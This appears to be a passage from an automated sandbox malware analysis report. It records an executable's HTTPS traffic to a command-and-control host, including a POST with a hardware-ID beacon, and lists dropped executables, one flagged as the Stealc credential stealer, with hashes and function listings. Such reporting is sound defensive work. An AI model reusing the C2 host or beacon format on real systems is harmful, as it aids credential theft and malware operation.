2024-12-23 16:28:34 UTC	15331	OUT	Data Raw: 49 b7 22 a9 9e b5 88 60 ef 4e 2f 36 3e 7c a8 88 72 7f ef ee db 17 49 97 6b 4f d0 92 61 fe 62 81 2e a5 7f bd 5f 9c a5 98 06 aa ff f6 50 68 18 72 3e b6 d8 39 e2 fa 34 da 37 d1 9d 1e be ae 5d d2 c1 5a 8c 07 ba 19 a3 b9 cb 1c 02 0e 5a 21 a0 5c 05 29 51 26 fa ee 43 8f 3c f4 5a 4a bb 6b cd f0 99 28 b2 7d 57 ce 92 03 8a 3c 8f ea 8e 57 a6 39 8a f6 25 69 f1 b8 16 9a 8c 58 14 c7 b3 be 4e 8f 8b 7b e4 28 69 c5 06 c0 be 3e a8 c6 0d b3 6c bc ea 40 7e 6a aa 1a 67 e5 c2 70 38 e6 2e f7 ae 9e d3 69 7e 28 ee fe 79 73 77 d4 ad a4 56 49 74 2f 41 65 28 12 a9 ca 5c 83 55 37 0b 40 f2 ff be f0 80 f1 cd 4c 4c 9d 6f 27 6f 17 23 cb 30 08 ca ae e4 0c 0d dc 65 34 55 64 1e c4 c0 8b b5 a5 3d b5 d4 05 6f ef ad 0f 52 7e b0 80 d2 f3 6b 72 8e a5 6e 49 4f ab af 34 9d 81 c0 7e 51 14 4d 60 58 Data Ascii: I"`N/6>\|rIkOab._Phr>947]ZZ!\)Q&C<ZJk(}W<W9%iXN{(i>l@~jgp8.i~(yswVIt/Ae(\U7@LLo'o#0e4Ud=oR~krnIO4~QM`X
2024-12-23 16:28:34 UTC	15331	OUT	Data Raw: 46 7e 11 06 ce 91 6e 36 d1 4b 62 7f 1b 6b 4d 53 6e c8 52 5a 26 f1 be 90 42 72 aa ea f5 20 3e 6f fd 07 c6 fa f3 28 44 2b fb 5c cf 90 35 b6 e7 16 ea 9f 69 29 1b c9 8f d3 30 d1 aa c0 7c 1d 6f 96 13 80 b1 c3 e7 78 61 7b ab a8 92 bf 90 fe 7a c6 50 d6 fd a5 ec eb 65 a4 84 2e cb 0d 45 70 ff d9 3c 52 ba 01 66 01 e4 7b aa 55 0e 42 12 a0 79 dc fb 25 27 dd 0f 9d c6 c7 35 88 83 79 c5 d5 f8 1e 11 c2 57 41 71 bb 78 9e a9 d5 49 52 3a 20 63 63 11 7d 5e 43 1a 59 c0 f6 f5 fb 84 c5 bd a7 ba 59 ed c3 e8 ae 3b e2 de dc db f4 6d 57 88 90 2c 02 1e 06 86 1f b3 c1 34 ba 51 60 a3 78 7e a3 da c2 0e c3 46 7d 25 cc 98 ce 09 ad 78 7d 85 db cb a3 93 c9 ba 23 81 0f 06 03 cf df fd 73 69 d7 96 7b 46 2b 9b af 05 4e 05 d6 6f 4f 2a 0f 2b 47 2c f1 b0 ba 4c 04 3e fc 67 fd 4a 03 8b 96 c2 c2 dd Data Ascii: F~n6KbkMSnRZ&Br >o(D+\5i)0\|oxa{zPe.Ep<Rf{UBy%'5yWAqxIR: cc}^CYY;mW,4Q`x~F}%x}#si{F+NoO*+G,L>gJ
2024-12-23 16:28:34 UTC	15331	OUT	Data Raw: 18 3e 5f fa 0c ae a2 9b 07 66 8d 93 39 c6 de 02 c9 23 b6 d5 0b a7 62 d8 fb 77 42 c3 f6 70 55 61 21 2e 0a 8a 19 8f 74 81 4b 3b 1c b0 93 2f 78 7d 8f 66 7e 21 35 fe d6 06 44 18 db 5d 12 bc c1 4c 0e 06 1c 48 38 a1 fb 47 e8 9f d1 35 df 09 10 c7 71 7a e5 0b 44 01 5c f7 fd 09 45 18 18 f9 6c 0a 88 bd 3e a6 a7 83 be c0 c8 b1 67 26 02 d6 96 b2 82 4b f7 8f fe 13 52 0c ec cf 4f 17 0f 66 1d c9 52 e8 d6 00 c7 1f 36 af 04 94 ad ca 67 95 1d 21 0e d4 ce 2c 4d 7c d1 07 58 4a 3d f7 05 4f b3 6b 8d f9 18 ab 71 a9 f1 77 59 7b 4a c3 8b 7c cb eb 10 28 a5 95 c8 9f e6 64 a2 a9 63 a3 a1 ef 55 12 4e 37 37 91 18 5d c1 1f 61 c4 da 00 a7 c4 15 87 36 45 76 2c 8c 3a 82 0c 0f 85 26 08 16 42 b5 ee 66 d4 70 61 b0 76 88 52 f1 f9 a0 36 7c e7 0a ea ef db 3a 7b a8 3f e1 84 43 ba 2b 2f 2f 22 40 Data Ascii: >_f9#bwBpUa!.tK;/x}f~!5D]LH8G5qzD\El>g&KROfR6g!,M\|XJ=OkqwY{J\|(dcUN77]a6Ev,:&BfpavR6\|:{?C+//"@
2024-12-23 16:28:34 UTC	15331	OUT	Data Raw: 59 84 8e ba e3 f4 4b ad e1 81 76 68 cc db 2f fd b6 c3 24 7f e3 8c 36 de 54 59 d0 a7 74 34 f5 14 d0 28 cd 52 00 05 99 2f 42 23 51 2f d3 72 58 4c af aa 6c dc db 37 10 56 86 1d 5c e2 a9 9c 88 74 9b 6f 6b e6 ef dd b8 11 3c e1 ba 4b b2 ef 98 41 81 d9 01 dc 6b 05 02 ee 1d b6 c3 44 17 01 60 2d db bc c0 ec 8f 42 24 9c 9c 46 ad f5 04 b4 0b 88 88 1b 19 5e 7d 2b 34 2b 40 b4 4d 2a b0 06 05 f6 ae 44 a5 8c ab 64 aa 21 ae 4f 05 e4 1e 91 29 d8 05 ec 4e a4 11 4c e1 54 13 32 21 bb 17 e3 55 f3 83 b0 da 1d a7 48 14 17 e4 e3 bb 84 22 0f 47 50 9d a6 b8 26 3f c9 d2 e2 b5 c4 7d a1 65 06 18 5d ff 5b 6f 8e 60 ed b8 75 fc 26 97 41 4a 96 c9 4f f0 16 83 e0 05 7e 3c c4 67 41 64 3e 36 40 a8 61 d7 cf 12 cf 4e bc 71 3d c2 b7 b0 c2 8a 53 f2 9a df 33 2b 75 40 98 73 0e 37 5d eb 24 c0 95 a6 Data Ascii: YKvh/$6TYt4(R/B#Q/rXLl7V\tok<KAkD`-B$F^}+4+@M*Dd!O)NLT2!UH"GP&?}e][o`u&AJO~<gAd>6@aNq=S3+u@s7]$
2024-12-23 16:28:34 UTC	15331	OUT	Data Raw: 35 27 f7 fb 4e f6 2a 16 bf 2a 12 9c f2 41 73 8d 71 7d 2b 09 e0 ed 8d f7 dd a7 95 bb 5b 4e 05 a7 00 90 20 2b 33 76 71 36 ad 18 df 17 94 ed 6a 35 c6 73 48 ab c9 2f 80 a5 c4 27 f3 70 5f 81 16 e7 a6 4e 32 ca c0 0b 94 6e 37 ba ce 9e 3b c3 6c 58 3b 68 e7 79 d7 18 bf 39 fe be e8 43 75 27 e4 8e 68 1e f4 f0 56 74 7b e2 7d 32 9d 84 9f cf 5f 1d ae a8 74 6d 35 39 16 4e 1d f7 5b d9 fc fb f8 c1 b8 0a d9 0c 0e b8 cf 60 a6 d7 a7 af 67 56 d8 69 80 a5 47 bc 20 7f b0 5b 5b 7d ad 96 bf 4b 77 7e ad f9 95 a0 79 e8 60 cf 64 33 35 60 f3 37 1b 4d cf 1f d4 c4 42 8c c4 8b cc 20 f3 ed bd 85 f7 f2 87 36 2a c6 a3 b5 a9 c2 55 6b cc e4 54 5e 02 98 af 32 57 8b 1f 1c f2 7f 80 83 9b b1 cc 5d 80 21 fe d2 51 12 30 4b 3a b0 c1 17 f8 00 4d 12 4d df bf e6 0d 24 d0 06 c5 b8 39 76 15 4d 7c a6 6c Data Ascii: 5'N*Asq}+[N +3vq6j5sH/'p_N2n7;lX;hy9Cu'hVt{}2_tm59N[`gViG [[}Kw~y`d35`7MB 6UkT^2W]!Q0K:MM$9vM\|l
2024-12-23 16:28:34 UTC	15331	OUT	Data Raw: 8f be c9 c3 28 d8 85 69 fe b8 04 cc 59 6e 37 08 75 3a 2b 4b 44 bc e9 82 ed e6 3d ed 00 8c 1a 57 4f 08 80 d4 e8 f9 bb 1a d2 40 4c 17 98 82 d6 72 e0 21 6e 34 fc 88 5e bd b7 ef 22 5d 0c 04 a2 38 fd 61 74 14 90 b8 83 1b fb c1 b3 ec 07 61 d9 bf 20 86 08 fb 59 7c fe fe 85 a4 f1 ed 23 64 10 bd 32 3b 1f 0b 97 cb dd 40 d9 01 77 d9 30 31 60 97 9d 55 d0 da 8c bf 14 19 5f 8e f5 3a f9 b4 cd 51 7f ce 72 a4 3a e6 e6 24 4f 87 24 2c 25 b4 47 e4 4f 6f 0a 53 83 b0 59 b2 dd a6 33 43 4e 14 15 09 87 7b a2 cf 03 3c c4 3e 2d 85 e5 22 18 00 da d0 61 54 ee 41 8a e8 ab 6a 3f cb 88 5d 23 5c 1d 4f 9c 63 c3 31 d1 3c 02 77 ff 7c 37 fa a3 db 8c fd c3 47 ee 9b f6 48 45 22 e6 59 2e 9e 3b 39 2d 4f 22 10 8d 8d 85 79 b0 a6 6d 94 73 fc fc e5 0b e5 e5 9b 12 73 97 fb 6d ee 92 45 d8 07 e5 9a 9e Data Ascii: (iYn7u:+KD=WO@Lr!n4^"]8ata Y\|#d2;@w01`U_:Qr:$O$,%GOoSY3CN{<>-"aTAj?]#\Oc1<w\|7GHE"Y.;9-O"ymssmE
2024-12-23 16:28:34 UTC	15331	OUT	Data Raw: 36 c1 c6 b5 a5 ce 8d 57 ef b9 b7 56 c6 c1 b4 28 b0 bb b0 bd 53 19 f1 07 ff 43 c3 67 f3 01 c1 27 9f 0f bc df 83 46 dc 13 90 32 09 0a 64 f1 d3 dc 20 ed 42 0c f5 15 04 57 ca a9 81 ee 84 33 a0 20 b5 57 13 0a 3a a4 58 20 0a fe c8 f5 c9 9d f4 71 1f 76 de 0f 1a 37 b7 fb a7 f5 e2 53 ce f0 cc bf b3 9b 59 80 ad 2e d2 df e3 b9 b0 d3 57 97 6d 32 9d 79 50 bd d9 ea 35 e9 a2 b2 51 20 9c 10 29 9b 1a 79 8f 6b 47 c7 d1 4f ce fb 26 25 f8 f2 0c 79 57 fc df 12 11 8f 9f 7e b6 f8 a9 00 f9 49 64 2b ff 31 e2 31 70 0c 51 89 4e 7f 33 42 79 7f d0 0e ee 94 61 c8 ce ee 40 5d 3b 1d 8f 22 f1 68 a0 2e 88 d4 8e 59 fb a1 cf cd 00 a2 8b 3c 42 39 d7 74 d4 08 5d 31 70 29 f9 f5 93 a7 ac ac dd 0a 93 7c 98 2d f4 bc 75 63 96 7a 12 39 69 4c 8c ab 33 01 bf 84 5f c4 af 4f cb 55 c5 79 c4 de 5a af 0a Data Ascii: 6WV(SCg'F2d BW3 W:X qv7SY.Wm2yP5Q )ykGO&%yW~Id+11pQN3Bya@];"h.Y<B9t]1p)\|-ucz9iL3_OUyZ
2024-12-23 16:28:34 UTC	15331	OUT	Data Raw: 6f 21 16 30 b1 43 df 5e 94 29 6b 24 5e 5f 2d a0 24 c0 54 6b a3 13 61 3a 7d 68 45 8d 01 68 19 77 68 02 a0 d9 49 6e 6c 5d fe ee bd ee d0 a4 e5 f1 b8 fc 1c bb 94 2b 9f 8b 97 05 43 5a 27 47 c3 4f 2e 3c 7e b7 1b 51 d6 52 7f 69 f4 f3 ad 56 c1 97 a8 cb 05 37 17 56 17 c9 44 e4 c2 ff 1e b5 2c 43 2e 3a f7 6d 31 9a e5 8e 8c 7d 27 7c be fc 39 9b a7 f5 66 34 27 e1 3b 7b 63 34 91 b6 a2 c8 d8 c1 52 f0 20 0e 8f 4d ce 52 82 3f a8 30 d8 bf b8 71 e8 b4 28 38 55 4d cc 3c 73 cf 84 e7 29 c7 fa a1 29 2f 38 99 7a 30 2f 87 6f a1 6d d1 cd 91 fa 66 ab 24 7a 7e f5 15 81 37 59 fc c6 b7 eb 30 33 5a dd 63 cf ab 91 f7 55 b6 88 ec c3 76 1a dc 5f d6 61 54 55 f0 41 a7 4b 0f 89 c4 c5 aa 55 73 4d d8 31 6d 2a 47 bf bf 7c eb 73 eb c2 81 a0 8c 57 d7 25 e2 cf cc 32 9c 3f 13 28 aa 80 e9 2e 4f 56 Data Ascii: o!0C^)k$^_-$Tka:}hEhwhInl]+CZ'GO.<~QRiV7VD,C.:m1}'\|9f4';{c4R MR?0q(8UM<s))/8z0/omf$z~7Y03ZcUv_aTUAKUsM1m*G\|sW%2?(.OV
2024-12-23 16:28:34 UTC	15331	OUT	Data Raw: 96 c1 51 f4 ed ef a8 74 de 58 d8 af a6 f4 44 21 1f 98 c1 41 65 54 3b 8a fd 38 1b ef 77 cd bc fe e2 b6 ff c9 0b c1 e7 af b4 d9 ab 69 2d be af 9a 85 2e d9 9d c5 1a a5 1b 14 9e 2b 15 7e 30 55 b6 6a f0 56 d3 d6 56 9c 25 ab b9 8f a9 94 ee 7a ed 94 76 9b 94 c3 79 29 3e 53 52 60 d0 72 5b 62 8c c3 87 3d d1 74 9f e5 5d e1 41 ef 16 b6 20 ec 55 76 8c 16 cd 58 f4 7e 6d d1 d2 ab 74 f3 63 43 83 e8 d6 69 39 c4 b9 48 ea 2a ef c0 8a 14 65 1c 47 4b 35 2e da 2c ce dd 28 f8 16 90 42 d1 e7 dc 7f d1 ec 91 2f f7 fc 7d ca d6 6d 76 ce e8 87 72 51 ae d7 ed 72 9b 3a 69 eb b3 36 66 ef e9 37 4b e7 6f 37 bf 7b f5 36 74 fa 51 4e fb 4a 88 e0 22 b3 2d 6b bf 65 ae 94 42 c5 15 21 72 b9 8d 38 f7 0d e2 c8 fc ab 97 53 6e 9f ac 67 57 24 ca 57 92 3b fd 2d 54 2e 58 04 57 bd 0b bb ee f1 ab a2 b0 Data Ascii: QtXD!AeT;8wi-.+~0UjVV%zvy)>SR`r[b=t]A UvX~mtcCi9H*eGK5.,(B/}mvrQr:i6f7Ko7{6tQNJ"-keB!r8SngW$W;-T.XW
2024-12-23 16:28:37 UTC	1147	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 16:28:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=omggen1t2gsjsni9uioul3ql63; expires=Fri, 18 Apr 2025 10:15:15 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=WWR8x8fHaDJ4LR2PJ%2F%2FvzZr%2FDakuGXHqXPl4%2Fh%2BAPPnGi3jTdJaz8119N6mT9fycuacBTxU%2FVXC%2F%2Fe8SUSBJDv%2BBpGQQn8RGAe5pmxMzenuPtSDcd21xHnEggN%2BML%2FZrvYs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f69b9bf2b79433a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1628&min_rtt=1620&rtt_var=624&sent=216&recv=617&lost=0&retrans=0&sent_bytes=2837&recv_bytes=590855&delivery_rate=1731909&cwnd=242&unsent_bytes=0&cid=ff54f3f15a19caca&ts=2472&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.8	49715	104.21.36.201	443	7816	C:\Users\user\Desktop\2jx1O1t486.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 16:28:38 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 82 Host: observerfry.lat
2024-12-23 16:28:38 UTC	82	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 26 6a 3d 26 68 77 69 64 3d 46 32 43 33 33 35 36 36 46 43 33 32 36 43 34 38 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 Data Ascii: act=get_message&ver=4.0&lid=PsFKDg--pablo&j=&hwid=F2C33566FC326C48BEBA0C6A975F1733
2024-12-23 16:28:39 UTC	1129	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 16:28:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=fvi154rtqsrgeqhbga1uldr8gs; expires=Fri, 18 Apr 2025 10:15:18 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ueVizbz7ST91a5zteqONLpxGZJZT7qiDUL8hrCqqftBfF1p%2Bve306sa8YxQwkN4Dy%2FKBeVLOCUAOLfB3mVZYZLOhyq%2BJ2ipK6LHiA%2FY8fA21UvWql81qEX%2BRMp1vluWO%2FLM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f69b9d71e2f8c72-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1979&min_rtt=1963&rtt_var=769&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2835&recv_bytes=981&delivery_rate=1392465&cwnd=174&unsent_bytes=0&cid=42b41b56fba90951&ts=793&x=0"
2024-12-23 16:28:39 UTC	214	IN	Data Raw: 64 30 0d 0a 77 34 67 44 36 66 30 51 72 4c 56 57 6b 63 4b 68 70 65 39 74 77 56 63 31 73 59 69 31 77 2f 4a 43 59 42 48 50 31 67 76 51 54 69 32 59 38 79 47 63 33 79 71 4f 33 53 4c 6c 73 70 76 35 77 44 48 75 5a 67 32 45 70 6f 66 79 78 32 78 52 49 50 7a 34 4f 75 59 53 41 71 7a 75 5a 62 58 53 64 4d 6e 54 65 50 53 36 78 49 66 44 54 36 63 6a 46 34 75 34 6d 65 47 58 59 46 6f 68 73 76 70 77 38 6a 73 50 2b 61 70 72 6e 59 6c 67 6c 75 6c 35 7a 65 32 51 6e 64 70 44 38 32 59 41 6e 37 6d 45 38 4e 78 7a 56 6b 33 67 70 58 2b 31 4c 30 43 66 70 33 47 49 6b 33 54 44 32 48 6a 30 75 73 53 48 77 30 2b 6e 49 78 65 4c 75 4a 6e 68 6c 32 42 61 49 62 4b 4c 0d 0a Data Ascii: d0w4gD6f0QrLVWkcKhpe9twVc1sYi1w/JCYBHP1gvQTi2Y8yGc3yqO3SLlspv5wDHuZg2Epofyx2xRIPz4OuYSAqzuZbXSdMnTePS6xIfDT6cjF4u4meGXYFohsvpw8jsP+aprnYlglul5ze2QndpD82YAn7mE8NxzVk3gpX+1L0Cfp3GIk3TD2Hj0usSHw0+nIxeLuJnhl2BaIbKL
2024-12-23 16:28:39 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	11:28:12
Start date:	23/12/2024
Path:	C:\Users\user\Desktop\2jx1O1t486.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\2jx1O1t486.exe"
Imagebase:	0xc30000
File size:	1'885'184 bytes
MD5 hash:	68C487CDBB51D484893AB31EB1CC4D10
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	11:28:44
Start date:	23/12/2024
Path:	C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe"
Imagebase:	0xb30000
File size:	2'795'520 bytes
MD5 hash:	631FDAD3FF8BC1E42A72D22EB14037E9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	11:28:49
Start date:	23/12/2024
Path:	C:\Users\user\AppData\Local\Temp\NK8XSYTFAY7E51TMEDPWVKGQXUNL07I.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\NK8XSYTFAY7E51TMEDPWVKGQXUNL07I.exe"
Imagebase:	0xd10000
File size:	2'790'912 bytes
MD5 hash:	54CC74B54E416B5B99BA11FE90829DE2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000004.00000002.1850249772.000000000078C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000004.00000002.1850609273.0000000000D11000.00000040.00000001.01000000.00000009.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000004.00000003.1796375087.0000000004860000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	3.2%
Dynamic/Decrypted Code Coverage:	46.2%
Signature Coverage:	30.8%
Total number of Nodes:	26
Total number of Limit Nodes:	0

Executed Functions

Function 049315D0 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 299
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ChangeServiceConfigA.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?), ref: 049318C8

Strings

]0>, xrefs: 0493162A
]0>, xrefs: 049315FB

Memory Dump Source

Source File: 00000003.00000002.1885548818.0000000004930000.00000040.00000800.00020000.00000000.sdmp, Offset: 04930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4930000_G1YXJMVDF5OIAHQBL77U48.jbxd

Similarity

API ID: ChangeConfigService
String ID: ]0>$]0>
API String ID: 3849694230-1028144747
Opcode ID: db88ead6d1251aa36ce7379a95541c85289a67ace41d61e268a4937c072f6565
Instruction ID: 85692fb6595c0067d5767e4b0564b52c6db7a953944ecc2767c3872f56b4f857
Opcode Fuzzy Hash: db88ead6d1251aa36ce7379a95541c85289a67ace41d61e268a4937c072f6565
Instruction Fuzzy Hash: 1BC16A70D006599FDB10CFA8C8467AEBBF2FF46315F048539E855E72A4DB74A881CB81

Function 00CB2427 Relevance: 1.6, APIs: 1, Instructions: 99
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 00CB2427

Memory Dump Source

Source File: 00000003.00000002.1882491830.0000000000CAE000.00000040.00000001.01000000.00000006.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000003.00000002.1882210217.0000000000B30000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882230997.0000000000B32000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882254076.0000000000B36000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882278096.0000000000B3A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882302351.0000000000B44000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882321494.0000000000B45000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882340274.0000000000B46000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882445438.0000000000C9C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882466722.0000000000C9E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882491830.0000000000CBC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882541295.0000000000CC4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882561297.0000000000CC5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882581047.0000000000CC6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882601003.0000000000CC7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882622106.0000000000CCE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882642110.0000000000CCF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882666086.0000000000CEA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882689823.0000000000CEB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882709777.0000000000CED000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882729863.0000000000CF5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882749685.0000000000CF6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882772120.0000000000CFC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882792894.0000000000CFE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882813165.0000000000D02000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882838228.0000000000D13000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882857137.0000000000D15000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882876284.0000000000D16000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882896928.0000000000D17000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882918389.0000000000D23000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882938947.0000000000D28000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882957456.0000000000D29000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882977418.0000000000D2D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882998537.0000000000D2E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883019310.0000000000D34000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883044408.0000000000D4C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883066696.0000000000D50000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883091121.0000000000D51000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883114479.0000000000D58000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883136115.0000000000D60000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883157460.0000000000D61000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883180449.0000000000D6A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883201504.0000000000D6D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883225607.0000000000D79000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883250564.0000000000D7A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883273141.0000000000D81000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883296870.0000000000D83000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883333973.0000000000DC6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883333973.0000000000DCE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883384453.0000000000DDC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883405534.0000000000DDE000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_b30000_G1YXJMVDF5OIAHQBL77U48.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 9bf1ed6dfab169d4ce2db36723ae23535bd77ca1965e79c59afd28a87e465775
Instruction ID: b8750e4aef57e7da3ccbc0d881f147c2280d6e673f8560f77c1d341260d2d5cc
Opcode Fuzzy Hash: 9bf1ed6dfab169d4ce2db36723ae23535bd77ca1965e79c59afd28a87e465775
Instruction Fuzzy Hash: 4C317AB250C210AFE301AF19EC416BEFBE4FF98320F06492EE6D993610D73199549B97

Function 00B3B80A Relevance: 1.3, Strings: 1, Instructions: 18COMMON

Download Yara Rule

Strings

!!iH, xrefs: 00B3B97A

Memory Dump Source

Source File: 00000003.00000002.1882278096.0000000000B3A000.00000040.00000001.01000000.00000006.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000003.00000002.1882210217.0000000000B30000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882230997.0000000000B32000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882254076.0000000000B36000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882302351.0000000000B44000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882321494.0000000000B45000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882340274.0000000000B46000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882445438.0000000000C9C000.00000040.00000001.01000000.00000006.sdmpDownload File
